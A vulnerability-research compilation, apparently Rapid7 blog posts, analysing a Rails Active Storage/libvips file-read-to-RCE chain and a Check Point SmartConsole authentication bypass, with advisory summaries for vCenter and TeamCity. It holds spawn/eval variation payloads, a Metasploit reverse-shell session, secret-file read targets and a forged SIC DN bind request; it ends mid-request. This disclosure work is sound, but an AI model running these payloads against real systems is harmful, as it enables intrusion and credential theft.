At [5], Rails verifies the blob ID. At [6] and [7], it separately verifies the variation key and applies it to that blob. There is no cross-check between the two signed values. An attacker can copy a variation_key from any representation URL emitted by the same application and replay it against the signed ID of a newly created direct-upload blob. The file-read stage does not require secret_key_base.

The Vips pipeline leaves decoder selection to libvips

Active Storage then hands the tempfile path to image_processing. The loader(page: 0) call below can be misleading. It stores options for whichever loader libvips chooses later rather than choosing a loader itself:

def process(file, format:)
  processor.
	source(file).
	loader(page: 0). # <-- [8]
	convert(format).
	apply(operations). # <-- [9]
	call
end
def processor
  ImageProcessing.const_get(ActiveStorage.variant_processor.to_s.camelize)
end
def operations
  transformations.each_with_object([]) do |(name, argument), list|
	if ActiveStorage.variant_processor == :mini_magick
	  validate_transformation(name, argument) # <-- [10]
	end
	if name.to_s == "combine_options"
	  raise ArgumentError, <<~ERROR.squish
		Active Storage's ImageProcessing transformer doesn't support :combine_options,
		as it always generates a single command.
	  ERROR
	end
	if argument.present?
	  list << [ name, argument ] # <-- [11]
	end
  end
end

At [8], no decoder has been named yet. At [9], Rails forwards the signed transformation list into image_processing. For RCE, [10] and [11] matter because :mini_magick transformations pass through validate_transformation, while Vips transformations do not receive the same method-name validation.

In image_processing 1.14.0, the path later reaches Vips::Image.new_from_file:

def self.load_image(path_or_image, loader: nil, autorot: true, **options)
	if path_or_image.is_a?(::Vips::Image)
	  image = path_or_image
	else
	  path = path_or_image
	  if loader
		image = ::Vips::Image.public_send(:"#{loader}load", path, **options)
	  else
		options = Utils.select_valid_loader_options(path, options)
		image = ::Vips::Image.new_from_file(path, **options) # <-- [12]
	  end
	end
	image = image.autorot if autorot && !options.key?(:autorotate)
	image
  end

Because loader: remains nil, [12] leaves decoder selection to libvips's file sniffers.

libvips and libmatio disagree about the MAT header

In libvips 8.16.1, matload is marked as untrusted. Vulnerable Active Storage releases did not block untrusted operations before processing attacker-controlled uploads:

static void
vips_foreign_load_mat_class_init(VipsForeignLoadMatClass *class)
{
	/* ... omitted: class initialization ... */

	operation_class->flags |= VIPS_OPERATION_UNTRUSTED; // <-- [13]

	foreign_class->suffs = vips__mat_suffs;

	load_class->is_a = vips__mat_ismat; // <-- [14]

The entire libvips MAT sniffer is a ten-byte prefix check:

int
vips__mat_ismat(const char *filename)
{
	unsigned char buf[15];

	if (vips__get_bytes(filename, buf, 10) == 10 &&
		vips_isprefix("MATLAB 5.0", (char *) buf)) // <-- [15]
		return 1;

	return 0;
}

At [13], libvips marks matload as untrusted. At [14], it registers vips__mat_ismat as the loader's sniffer. At [15], a file only needs to begin with MATLAB 5.0 for libvips to select matload. A genuine MAT 7.3 file begins with MATLAB 7.3 MAT-file, so it fails this check.

In libmatio 1.5.28, the descriptive text is not the format selector. libmatio reads the fixed version field at bytes 124 and 125:

enum mat_ft
{
    MAT_FT_MAT73 = 0x0200, /**< @brief Matlab version 7.3 file */ // <-- [16]
    MAT_FT_MAT5 = 0x0100,  /**< @brief Matlab version 5 file   */
    MAT_FT_MAT4 = 0x0010,  /**< @brief Matlab version 4 file   */
    MAT_FT_UNDEFINED = 0   /**< @brief Undefined version       */
};

At [16], libmatio defines 0x0200 as the MAT 7.3 format identifier.

Mat_Open(const char *matname, int mode)
{
    FILE *fp = NULL;
    mat_int16_t tmp, tmp2;
    mat_t *mat = NULL;
    size_t bytesread = 0;

    /* ... omitted: file opening and allocation ... */

    bytesread += fread(mat->header, 1, 116, fp);
    mat->header[116] = '\0';
    bytesread += fread(mat->subsys_offset, 1, 8, fp);
    bytesread += 2 * fread(&tmp2, 2, 1, fp);
    bytesread += fread(&tmp, 1, 2, fp);

    if ( 128 == bytesread ) {
        /* v5 and v7.3 files have at least 128 byte header */
        mat->byteswap = -1;
        if ( tmp == 0x4d49 )
            mat->byteswap = 0;
        else if ( tmp == 0x494d ) {
            mat->byteswap = 1;
            Mat_int16Swap(&tmp2);
        }

        mat->version = (int)tmp2; // <-- [17]
        if ( (mat->version == 0x0100 || mat->version == 0x0200) && -1 != mat->byteswap ) {
            mat->bof = ftello((FILE *)mat->fp);
            if ( mat->bof == -1L ) {
                free(mat->header);
                free(mat->subsys_offset);
                free(mat);
                fclose(fp);
                Mat_Critical("Couldn't determine file position");
                return NULL;
            }
            mat->next_index = 0;
        } else {
            mat->version = 0;
        }
    }

At [17], Mat_Open stores the two-byte version field read from bytes 124 and 125 in mat->version. This is separate from the descriptive text that libvips already accepted at the beginning of the file.

static int
ReadData(mat_t *mat, matvar_t *matvar)
{
    if ( mat == NULL || matvar == NULL || mat->fp == NULL )
        return MATIO_E_BAD_ARGUMENT;
    else if ( mat->version == MAT_FT_MAT5 )
        return Mat_VarRead5(mat, matvar);
#if defined(MAT73) && MAT73
    else if ( mat->version == MAT_FT_MAT73 )
        return Mat_VarRead73(mat, matvar); // <-- [18]
#endif
    else if ( mat->version == MAT_FT_MAT4 )
        return Mat_VarRead4(mat, matvar);
    return MATIO_E_FAIL_TO_IDENTIFY;
}

At [18], ReadData dispatches MAT_FT_MAT73 into the HDF5-backed reader. A crafted file can therefore say MATLAB 5.0 to libvips while still entering MAT 7.3 handling in libmatio. HDF5 userblocks make this possible: the crafted file can place a valid HDF5 superblock after a 512-byte leading block that contains the spoofed MAT header.

HDF5 datasets can use an external backing file, including a caller-chosen path and byte offset. libmatio eventually asks HDF5 to read the dataset:

static int
Mat_H5ReadData(hid_t dset_id, hid_t h5_type, hid_t mem_space, hid_t dset_space, int isComplex, void *data)
{
    herr_t herr;

    if ( !isComplex ) {
        herr = H5Dread(dset_id, h5_type, mem_space, dset_space, H5P_DEFAULT, data); // <-- [19]
        if ( herr < 0 ) {
            return MATIO_E_GENERIC_READ_ERROR;
        }

Before [19], this read path does not check H5Pget_external_count(). HDF5 resolves the external storage entry and copies bytes from the attacker-selected file into the MAT variable's data buffer. libvips then treats those bytes as image pixels and Active Storage returns them in the rendered representation.

The header mismatch also leaves a useful content signature. In the first 128 bytes, the file claims MATLAB 5.0 at bytes 0 through 9, but carries the MAT 7.3 version and endian tag at bytes 124 through 127. A normal MAT 5 file has the text but not the MAT 7.3 tag. A normal MAT 7.3 file has the tag but not the text.

Why variants are not required

A returned representation is the easiest way to get bytes back, but the advisory states that generating variants is not a separate requirement. Active Storage can also reach Vips::Image.new_from_file during image analysis after a blob is attached. Rails's forensic repository documents a MATLAB_empty variant in which libmatio reads external bytes while deriving an empty array's dimensions, so those bytes can surface as width and height instead of pixel values. That route does not depend on preserving pixel values.

Representation is one way to trigger the loader. That route needs a direct-upload blob, a representation trigger, and a way to see the image that comes back. The analyzer path can reach the same loader without returning a variant, although the attacker still needs some way to observe the resulting metadata or logs. For exploitation, the returned PNG is more useful because it carries far more data per request.

Why the patch works

The relevant v8.0.5 to v8.0.5.1 diff does not add another content-type check. Instead, it loads a new Active Storage Vips initializer from the analyzer path and disables the libvips operations that libvips itself already marks as untrusted:

diff --git a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
index 7e682b3b75fda..e262e1a842aa4 100644
--- a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
+++ b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
@@ -2,0 +3,2 @@
+require "active_storage/vips"
+
diff --git a/activestorage/lib/active_storage/vips.rb b/activestorage/lib/active_storage/vips.rb
new file mode 100644
index 0000000000000..16b2ddbfbaad1
--- /dev/null
+++ b/activestorage/lib/active_storage/vips.rb
@@ -0,0 +23,20 @@
+if ActiveStorage::VIPS_AVAILABLE
+  begin
+    # image_processing 2.0 calls Vips.block_untrusted(true) itself when it loads, so it has to load
+    # before the lines below. Leaving it to load later, when the transformer first asks for it,
+    # would disable the loaders again after an application's initializers had re-enabled them.
+    require "image_processing/vips"
+  rescue LoadError
+    # image_processing is only needed to generate variants, not to analyze blobs.
+  end
+
+  unless Vips.respond_to?(:block_untrusted) # <-- [20]
+    raise <<~ERROR.squish
+      libvips's unfuzzed operations are not safe to use with untrusted content, and Active Storage
+      cannot disable them. Disabling them requires libvips 8.13 or later and ruby-vips 2.2.1 or
+      later. Please upgrade libvips and ruby-vips, or remove the ruby-vips gem from your Gemfile.
+    ERROR
+  end
+
+  Vips.block_untrusted(true) # <-- [21]
+end

Active Storage's engine loads the Vips analyzer during initialization, so the new require "active_storage/vips" runs during boot rather than waiting for a later representation request. At [20], patched Active Storage refuses to boot if the loaded ruby-vips/libvips pair does not expose the blocking API it needs. At [21], it blocks those operations globally. Because matload is marked VIPS_OPERATION_UNTRUSTED, libvips skips it before the crafted file can reach libmatio.

From file read to code execution

The file read can recover arbitrary files readable by the Rails worker. On Linux, /proc/self/environ is a useful first target because it may contain SECRET_KEY_BASE, RAILS_MASTER_KEY, or service credentials, but the file-read primitive itself is not Linux-specific. Procfs is only a convenient route to Rails signing material. An exploit that relies only on /proc/self/environ will miss applications that keep secret_key_base in encrypted credentials or legacy secrets.yml files. Useful read targets in those cases include config/master.key, encrypted credential files, and legacy secrets.yml paths. Before using a candidate secret, an exploit can check it against a genuine signed Active Storage blob ID.

Once an attacker has recovered secret_key_base and derived the Active Storage verifier key, they can sign a new variation instead of replaying an existing one. Ethiack's write-up uses instance_eval for this step. We confirmed that the same Vips-side transformation validation gap also accepts the following JSON-compatible shapes:

{"send":["spawn","/bin/sh","-c","id"]}
{"send":["eval","File.write('/tmp/kr2s', %x{id})"]}

In image_processing 1.14.0, Chainable#apply invokes the attacker-controlled transformation name on the builder:

def apply(operations)
  operations.inject(self) do |builder, (name, argument)|
	if argument == true || argument == nil
	  builder.public_send(name)
	elsif argument.is_a?(Array)
	  builder.public_send(name, *argument) # <-- [22]
	elsif argument.is_a?(Hash)
	  builder.public_send(name, **argument)
	else
	  builder.public_send(name, argument)
	end
  end
end

At [22], a transformation named send reaches the builder's public send method. The first array element becomes a second method dispatch, which can invoke private Kernel#spawn or Kernel#eval. Execution occurs while the pipeline is being built, before normal image operations run. In our tests, the representation request returned HTTP 500 because spawn or eval returns a non-builder value after the payload has already executed.

This RCE path does not depend on a Marshal object gadget. We validated it against Rails 8.0.5 configured with config.active_support.message_serializer = :json. We also tested the same structure on older Rails branches whose signed messages used Marshal serialization, but the attacker-controlled data remains a Hash, Array, and String structure rather than a deserialization gadget.

The MAT/HDF5 file read and the missing Vips-side transformation validation are distinct parts of the RCE chain. Rails pull request rails/rails#56995 discusses the same Vips-side validation gap. CVE-2026-66066 matters here because the file read can recover the signing material needed to sign a malicious variation for the built-in representation route.

Exploitation

Our Metasploit module follows the representation-based chain described above. It creates crafted direct-upload blobs, confirms the file read against /proc/version, recovers and validates Rails signing material, signs an ImageProcessing variation, and triggers either send/spawn for command payloads or send/eval for native Ruby payloads.

The module uses the returned PNG representation instead of the narrower MATLAB_empty metadata channel because the PNG path returns larger chunks directly in the HTTP response and gives the module a read channel it can validate automatically during secret recovery. A standalone proof of concept targeting an application that only analyzes uploads could reasonably prefer MATLAB_empty, but that path depends on an application-specific way to observe width and height metadata or logs. For code execution, the module uses send/spawn and send/eval, which fit Metasploit command and Ruby payloads directly.

In the lab run below, the representation used by the module resized the image, so the module selected a 20x20 sharpened text-read layout and recovered 180 bytes per request. It then recovered SECRET_KEY_BASE from /proc/self/environ, signed a JSON variation, and opened a shell as the Rails process user:

msf6 > use exploit/multi/http/rails_activestorage_vips_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RPORT 3003
RPORT => 3003
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) > run

[*] Running automatic check ("set AutoCheck false" to disable)
[+] Selected the 20x20 sharpened text-read layout (180 bytes per request)
[+] The target is vulnerable. Recovered /proc/version with the 20x20 sharpened layout
[*] Reading up to 65536 bytes from /proc/self/environ
[*] Detected SHA1 Active Support verifier signatures
[*] Detected the Active Support json message serializer
[*] Validated SHA256 key derivation against a signed blob ID
[*] Stored recovered environment bytes in: /home/cryptocat/.msf4/loot/20260731004237_default_127.0.0.1_rails.process.en_047300.bin
[+] Recovered SECRET_KEY_BASE from /proc/self/environ
[*] Triggering the ImageProcessing send/spawn variation using a verifier key derived from /proc/self/environ
[*] Command shell session 1 opened

msf6 exploit(multi/http/rails_activestorage_vips_rce) > sessions -i 1 -c id
[*] Running 'id' on shell session 1 (127.0.0.1)
uid=1000(rails) gid=1000(rails) groups=1000(rails)

The SHA1 and SHA256 lines refer to separate Rails settings. The first is the MessageVerifier digest used on the signed blob ID. The second is the key-generator digest used to derive the Active Storage key.

Ethiack's published  1x1 oracle is byte-exact because interpolation has no adjacent pixel values to mix into the result. Our module also tries larger square uint8 layouts with /dev/zero columns between file bytes. With those columns, it can invert image_processing 1.14.0's vertical sharpen pass and recover more text per request. We still validate every recovered secret against a genuine Active Storage signature because the larger transport is not byte-exact for arbitrary binary data.

Remediation

For remediation guidance, see Rapid7's Emergent Threat Response blog and the Rails security advisory. The fixed Active Storage releases block untrusted libvips operations during initialization and require libvips 8.13 or later plus ruby-vips 2.2.1 or later when ruby-vips is installed.

Overview

On July 29, 2026, the Ruby on Rails project published a security advisory for CVE-2026-66066, a critical vulnerability affecting Active Storage image processing when used in conjunction with the libvips image processing library. The vulnerability has a CVSSv4 score of 9.5 and is classified as Initialization of a Resource with an Insecure Default (CWE-1188). An unauthenticated attacker may be able to leverage CVE-2026-66066 and read files accessible to the Rails application process, potentially exposing secrets that could enable remote code execution (RCE) or access to connected systems.

An application is affected when it uses libvips for Active Storage image processing and accepts image uploads from untrusted users. Rails notes that generating image variants is not a separate requirement for exposure. Vips is the default Active Storage variant processor for applications configured with Rails 7.0 or later defaults. According to Ethiack, only the Vips processor is affected; applications using Magick are not affected through the reported vector.

As of July 30, 2026, Rapid7 is not aware of exploitation in the wild. Ethiack and GMO Flatt Security, who independently reported the vulnerability, have withheld proof-of-concept code and details of the full attack chain. Public code claiming to exploit CVE-2026-66066 exists, but it is unclear how closely it corresponds to the full attack chain reported privately to Rails. According to the Rails Security Announcement, additional details will be disclosed no later than August 28, 2026. Rapid7 recommends remediating affected applications on an urgent basis, outside of normal patch cycles.

Update #1: On July 31, 2026, Rails published technical details and forensic tools earlier than its planned August 28 disclosure date after several researchers reverse-engineered the attack and published proof-of-concept code.

Technical overview

libvips uses operations to load and save image formats, including operations backed by third-party libraries. Some are marked "unfuzzed" or "untrusted" because they are unsafe for untrusted content. According to Rails, Active Storage did not disable these operations before processing user-supplied files, which may allow a crafted upload to trigger an unsafe operation and disclose files readable by the application.

The attack details published by Rails describe a chain in which an attacker creates a blob through Active Storage's direct-upload endpoint with a false image content type and obtains a genuine signed variation_key from a page that renders an Active Storage representation. A crafted file identifies itself to libvips as a MATLAB level 5 file but to libmatio as a MAT 7.3 HDF5 container. HDF5's External File List then reads bytes from an attacker-selected path, which are rendered as image pixels and returned in the resulting variant. This known chain also requires the deployed libvips build to include the matload operation.

For this documented chain, the Active Storage direct-upload route must be reachable. When Active Storage routes are mounted, the direct-upload route is present by default even if the application's own interface does not use direct uploads. Rapid7 testing found that ordinary server-side attachment does not satisfy this chain because Rails re-identifies the crafted file as MATLAB data before variant processing.

The arbitrary file-read stage does not require knowledge of secret_key_base or a forged variation key. Rapid7 also verified an RCE escalation in which recovered Rails signing material is used to forge an ImageProcessing 1.x variation; this path does not require Marshal deserialization.

The Rails patch that remediates CVE-2026-66066, disables untrusted operations during Active Storage initialization. When ruby-vips is installed, patched versions prevent the application from starting if ruby-vips or libvips is too old to support that protection.

On August 3, 2026, Rapid7 Labs published a full root cause technical analysis of CVE-2026-66066, detailing the full RCE chain and accompanying metasploit module.

Mitigation guidance

Organizations running affected Ruby on Rails applications should upgrade to a fixed Active Storage release and ensure libvips is 8.13 or later. Updating Rails or Active Storage alone is not sufficient when an older libvips version is installed.

Rails has published forensic tools to assess whether an application was vulnerable and search Active Storage data for crafted files. Because scheduled cleanup of unattached blobs may remove evidence, Rapid7 recommends beginning forensic assessment promptly.

The Rails advisory identifies patched Active Storage releases 7.2.3.2, 8.0.5.1, and 8.1.3.1. The fixed Rails releases are:

The Rails advisory lists all Active Storage releases earlier than 7.2.3.2 as affected, which includes releases before Rails 7.0. Ethiack reports that Rails 6.0.0 through 6.1.7.10 may be affected when Active Storage is configured to use Vips, and Rapid7 has verified that the known attack works on the Rails 6.0 and 6.1 branches under that non-default configuration. Rails has not published fixed releases for branches earlier than 7.2, so affected applications on those branches should migrate to a supported fixed branch or apply the applicable workaround below.

When ruby-vips is installed, organizations should ensure it is 2.2.1 or later. Rails advises affected organizations to replace secret_key_base and other secrets accessible to the application process, including the Rails master key and the credentials it decrypts, storage service credentials, database credentials, and third-party service tokens or keys. Replacing secret_key_base expires active sessions and affects encrypted and signed cookies, signed global IDs, and Active Storage URLs.

As a temporary workaround on libvips 8.13 or later, organizations can set VIPS_BLOCK_UNTRUSTED or, with ruby-vips 2.2.1 or later, call Vips.block_untrusted(true) from an initializer. For libvips versions earlier than 8.13, Rails states that the only workaround is to remove the libvips dependency.

For the latest mitigation guidance, please refer to the Ruby on Rails security advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-66066 with vulnerability checks expected to be available in the July 31 content release. 

Updates

• July 30, 2026: Initial publication.

• July 31, 2026: Updated with technical details and forensic resources published by Rails, and clarified the affected version range.

• August 3, 2026: Added a Technical analysis section for the new Rapid7 Analysis.

Overview

On July 29, 2026, Broadcom published security advisory VMSA-2026-0006 addressing multiple vulnerabilities in several VMWare products. Included in the advisory are two critical remotely exploitable vulnerabilities affecting VMware vCenter Server: CVE-2026-59309 and CVE-2026-59310. Both vulnerabilities carry CVSSv3.1 base scores of 9.8 and can be exploited by unauthenticated attackers with network access to a vulnerable vCenter Server.

VMware vCenter Server provides centralized management for VMware vSphere environments, allowing administrators to manage ESXi hosts, virtual machines, resource allocation, availability, and other virtualization infrastructure from a central control plane. Compromise of vCenter can therefore provide an attacker with significant control over the virtualized environment and its associated workloads.

Both vulnerabilities are particularly significant because exploitation does not require prior authentication. However, an attacker must have network access to the affected vCenter services. Management interfaces such as vCenter are commonly restricted to internal or dedicated management networks, which can reduce exposure to internet-based attacks but does not mitigate the risk from an attacker who has already established access to an organization’s network.

At the time of publication, there is no known evidence of exploitation or scanning in the wild for either CVE-2026-59309 or CVE-2026-59310. There is also currently no known public proof-of-concept exploit code. However, vCenter Server has appeared on CISA’s KEV list ten times in the past for other vulnerabilities, so it is known that attackers target critical issues in this product. Customers running affected VMWare products are urged to patch on an urgent basis before exploitation in-the-wild occurs.

Mitigation guidance

Organizations running VMware vCenter Server should prioritize applying the updates identified by Broadcom in VMSA-2026-0006 on an urgent basis. Broadcom states that there are no workarounds for CVE-2026-59309 or CVE-2026-59310, making vendor-provided updates the primary remediation.

For the latest mitigation guidance, please refer to the vendor advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-59309 and CVE-2026-59310 on VMware vCenter Server, Cloud Foundation, and vSphere Foundation products with unauthenticated vulnerability checks expected to be available in the July 30 content release.

Updates

• July 30, 2026: Initial publication.

• July 30, 2026: Updated customers section to reflect availability of vulnerability checks.
• August 4, 2026: Updated CVE links.

Overview

On July 27, 2026, JetBrains published a security advisory for CVE-2026-63077, a critical unauthenticated vulnerability affecting all versions of TeamCity On-Premises. The issue is classified as deserialization of untrusted data and has a CVSS score of 9.8. An unauthenticated remote attacker with HTTP(S) access to a TeamCity server can exploit the agent polling protocol to bypass authentication checks and execute arbitrary operating system commands with the privileges of the TeamCity server process.

In the blog post that JetBrains shared in tandem with CVE publication, they stated that attackers who exploit the vulnerability can read stored credentials and compromise CI/CD pipeline integrity. The impact of successful exploitation depends on the operating system privileges granted to the TeamCity server process. At the time of disclosure, JetBrains stated that they were not aware of active exploitation. On August 5, CISA added CVE-2026-63077 to its KEV catalog.

Technical analysis

On August 7, 2026, Rapid7 Labs published a full root cause technical analysis of CVE-2026-63077. Our analysis details the vulnerability and how an unauthenticated attacker can exploit the vulnerability to achieve remote code execution on a vulnerable TeamCity server.

Mitigation guidance

Organizations running TeamCity On-Premises should urgently prioritize updating to a fixed version, either via the TeamCity UI update workflow or by downloading and installing one of the following fixed versions:

• TeamCity 2025.11.7

• TeamCity 2026.1.3

All versions of TeamCity On-Premises are affected. Organizations that cannot upgrade can apply JetBrains' security patch plugin to TeamCity 2017.1 and later. The plugin addresses only CVE-2026-63077; JetBrains recommends upgrading to a fixed version to receive other security updates. TeamCity Cloud customers do not need to take action.

In addition to patching, as a defense-in-depth measure, Rapid7 recommends restricting network access to TeamCity servers to only users and systems that must have it. For the latest mitigation guidance, please refer to the JetBrains security advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-63077 with a vulnerability check available in the July 28 content release.

Updates

• July 29, 2026: Initial publication.

• August 5, 2026: Updated to reflect the addition of CVE-2026-63077 to CISA KEV.

• August 7, 2026: Added link to the Rapid7 Analysis.

Overview

On July 22, 2026, Check Point published a security advisory for CVE-2026-16232, an authentication bypass in the SmartConsole login process affecting Security Management Server and Multi-Domain Security Management Server (MDS). By leveraging CVE-2026-16232, an unauthenticated attacker can obtain an application login token, use this token to log in through SmartConsole with full administrator privileges, and modify the security policy or security configuration. Exploitation requires network access to the Management Server and for a Trusted Clients configuration that does not restrict GUI clients, which in our testing was a default setting. This vulnerability was reported as being exploited in the wild as a zero-day vulnerability at the time of disclosure.

Our analysis finds that the root cause of CVE-2026-16232 is a broken trust boundary in the application authentication path. A vulnerable server accepts an attacker-supplied Secure Internal Communication (SIC) distinguished name (DN) as the identity of a remote application instead of binding that identity to the authenticated remote peer certificate DN returned by getCertificateDnName(). An attacker can read the management server's own SIC DN during the unauthenticated bootstrap communication, replay that DN in a forged application certificate bind, obtain an application token, and then ask the legacy management service to mint a new SmartConsole single sign-on (SSO) ticket.

Rapid7 Labs has reproduced CVE-2026-16232 against affected R81.20 and R82.10 versions of the target software. Our proof-of-concept (PoC) exploit script can be used to successfully validate if a target is either vulnerable or patched. The vendor supplied patches have been confirmed to successfully remediate the vulnerability and prevent our PoC script from succeeding.

Analysis

SmartConsole is the desktop client administrators use to manage Check Point policy and configuration. A SmartConsole login crosses two generations of management plumbing over the network.

The first is the legacy FWM/CPMI service, listening on TCP 18190. It uses SIC, Check Point's certificate-based trust mechanism for communication between management components. Once the SIC bootstrap completes, FWM exchanges length-prefixed “FwSet” objects, a Check Point name/value encoding used by older management services.

The second is the newer CPM/DLE service. This exposes SOAP services over HTTPS on TCP 19009 under the URI path /cpmws/. SmartConsole uses these services for login, queries, and object operations. Authenticated requests carry DLESESSIONID and CLIENTSESSIONID header values to prove a client is authenticated.

The exploit for CVE-2026-16232 uses both the FWM/CPMI and CPM/DLE services. It first uses the native FWM/CPMI protocol to claim an application identity and obtain an application token via the root cause of the vulnerability. It then uses the accepted native application session to ask FWM for a SmartConsole SSO ticket, redeems the ticket over CPM's SOAP API, and receives a SmartConsole session.

The diagram below shows the flow for exploiting CVE-2026-16232.

Figure 1: Flow diagram of exploitation.

The application authentication boundary

The Java login service contains a bridge for FWM application based logins. The authenticateUser method splits the supplied username into an application name and a SIC DN, then passes both into cpApplicationAuthentication(). 

// Source: work/t146/mgmt_wrapper.tgz:fw1/cpm-server/dleserver.jar.full!/com/checkpoint/management/dleserver/coresvc/internal/LoginSvcImpl.class

private AuthenticationResponse authenticateUser(AuthenticationInfoBase authenticationInfoBase, String string, String string2, CPUUID cPUUID, boolean bl, LockAdminInfoContainer lockAdminInfoContainer, ExternalLoginInfo externalLoginInfo) throws AuthenticationFailureLoginException, LicenseExpiredLoginException {

// ...

} else if (authenticationInfoBase instanceof FwmAuthenticationInfo) {
    object2 = authenticationInfoBase.getUsername();
    int n = ((String)object2).toLowerCase().lastIndexOf("cn=");
    object = (FwmAuthenticationInfo)authenticationInfoBase;
    if (FwmLoginType.APPLICATION.equals((Object)object.getFwmLoginType())) {
        String suppliedSicDn = ((String)object2).substring(n); // <-- [1]
        String applicationName = ((String)object2).substring(0, n - 1); // <-- [2]
        TdLog.debug((CPLogger)c, (String)"Authenticating FwmAuthenticationInfo on behalf of application {}", (Object[])new Object[]{applicationName});
        CPApplicationAuthenticationInfo cPApplicationAuthenticationInfo = new CPApplicationAuthenticationInfo();
        cPApplicationAuthenticationInfo.setUsername(applicationName);
        this.cpApplicationAuthentication((AuthenticationInfoBase)cPApplicationAuthenticationInfo, suppliedSicDn, cPUUID);// <-- [3]
        authenticationInfoBase.setUsername(applicationName);

At [1] and [2], the login service treats attacker-controlled input as both the application name and the claimed SIC identity. At [3], the untrusted DN claim reaches the remote application authenticator as a separate argument.

The method that consumes that identity is authenticateRemoteApplication(). This method prefers the attacker-supplied DN whenever one is present.

// Source: work/t146/mgmt_wrapper.tgz:fw1/cpm-server/dleserver.jar.full!/com/checkpoint/management/dleserver/coresvc/internal/LoginSvcImpl.class

private void authenticateRemoteApplication(String applicationName, String suppliedSicDn) throws AuthenticationFailureLoginException {
  String effectiveSicDn = suppliedSicDn == null
          ? this.j.getCertificateDnName()
          : suppliedSicDn; // <-- [1]
  CpAssert.cpassert(StringUtils.isNotEmpty(effectiveSicDn), "User DN name is not set");
  if (effectiveSicDn.equals("CN=siclocal")) {
    this.authenticateLocal(applicationName);
  } else {
    this.t.identifyDomainForRemoteLogin(effectiveSicDn); // <-- [2]
  }
}

The problem is at [1]. The vulnerable code collapses the untrusted claim and the authenticated peer identity into one variable. If suppliedSicDn is present, the code never uses getCertificateDnName() at all. The method then uses the attacker-controlled value at [2] to identify the login domain. In practice, a remote client can copy the management server's own SIC DN into :DN and authenticate as a remote application without presenting a client certificate for that identity.

What the patch changes

Our analysis compares the decompiled com.checkpoint.management.dleserver.coresvc.internal.LoginSvcImpl class from a vulnerable “R81.20 Jumbo Hotfix Take 146” against the patched “R81.20 Jumbo Hotfix Take 158”.

private void authenticateRemoteApplication(String applicationName, String suppliedSicDn)
         throws AuthenticationFailureLoginException {
-    String effectiveSicDn = suppliedSicDn == null
-        ? this.j.getCertificateDnName()
-        : suppliedSicDn;                                      // <-- [1]
-    CpAssert.cpassert(StringUtils.isNotEmpty(effectiveSicDn), "User DN name is not set");
+    String effectiveSicDn;
+    String certificateDn = this.j.getCertificateDnName();
+    String remoteIp = this.j.getRemoteIpAddress();
+    boolean localSic = IpUtils.isLoopback(remoteIp) && "CN=siclocal".equals(certificateDn);
+    if (localSic && suppliedSicDn != null) {
+        effectiveSicDn = suppliedSicDn;                       // <-- [2]
+    } else {
+        effectiveSicDn = certificateDn;                       // <-- [3]
+        boolean mismatch = suppliedSicDn != null
+            && StringUtils.isNotEmpty(certificateDn)
+            && !suppliedSicDn.equalsIgnoreCase(certificateDn);
+        if (mismatch) {
+            TdLog.error(c,
+                "Rejecting caller-supplied SIC name that does not match the client certificate DN for application {} from {}",
+                applicationName, remoteIp);
+            throw new AuthenticationFailureLoginException(
+                "Remote authentication failed for peer " + remoteIp + "."); // <-- [4]
+        }
+    }
+    if (Strings.isNullOrEmpty(effectiveSicDn)) {
+        TdLog.error(c, "Remote application {} login rejected: no authenticated SIC identity",
+            applicationName);
+        throw new AuthenticationFailureLoginException(
+            "Remote authentication failed for peer " + remoteIp + ".");     // <-- [5]
+    }
     if (effectiveSicDn.equals("CN=siclocal")) {
         this.authenticateLocal(applicationName);
     } else {
         this.t.identifyDomainForRemoteLogin(effectiveSicDn);
     }
 }

Shown above, the vulnerable “Take 146” accepts the caller's DN at [1]. The patched “Take 158” only allows a supplied DN for loopback CN=siclocal traffic at [2], which preserves the local application case. Remote clients now use the authenticated remote peer certificate DN at [3], and any mismatch between the supplied DN and that authenticated identity is rejected at [4]. The new empty identity check at [5] also prevents a remote application login when there is no authenticated SIC identity at all.

This is why replaying the management server's DN no longer works. The attacker can still send the same :DN text, but the patched remote path does not use that text as effectiveSicDn. If the client presents no certificate, as in our PoC, certificateDn is empty and the check at [5] rejects the login. If the client presents a certificate with some other DN, the mismatch check at [4] rejects the forged server DN. To make the supplied server DN survive the patched checks, the attacker would need an authenticated client certificate whose subject DN already matches that server DN, which removes the unauthenticated bypass.

Protocol flow to a SmartConsole session

The relevant application-layer traffic is shown below in the order our PoC sends it. For brevity, we have omitted the boilerplate CA and CRL bootstrap exchange as it is not pertinent to the vulnerability’s root cause.

After the SIC bootstrap, the PoC sends a certificate bind request that supplies the management server's own SIC DN (cp_mgmt,o=gw-5622ca..5otbwa in the example below):

(
    :local_bind (0)
    :token_bind (0)
    :DN ("cn=cp_mgmt,o=gw-5622ca..5otbwa") # <-- attacker-controlled identity
    :certificate_bind (1)
    :application_login ("CPM Server")
    :client_without_administrator (true)
)

Despite the :certificate_bind field name, the PoC does not load or present a client certificate in its Python TLS context. The bind request only provides the :DN claim as a text string. On a vulnerable server, the bind succeeds because the application login path accepts :DN as the effective SIC identity. The PoC then sends an open-database request, shown below, and receives the application login token described in Check Point's advisory.

(
    :type (command)
    :subject (open-database)
    :body (
        :Name ()
        :db_open_reason ()
        :dle_session_id ()
        :database ()
        :db_open_id ("(nil)")
    )
    :no-reply (false)
)

The open-database response is a binary-encoded FwSet object. The PoC extracts the 43-character DLE token from that response and then uses it as a CPM DLESESSIONID value.

The next step is to perform a gen-sso-token request. The forged application session asks FWM to create a SmartConsole ticket whose original client claims system_admin, local SOAP binding, and a permission bitmap indicating full permissions (i.e. all permission bits are set):

(
    :type (command)
    :subject (gen-sso-token)
    :body (
        :type (SmartConsole)
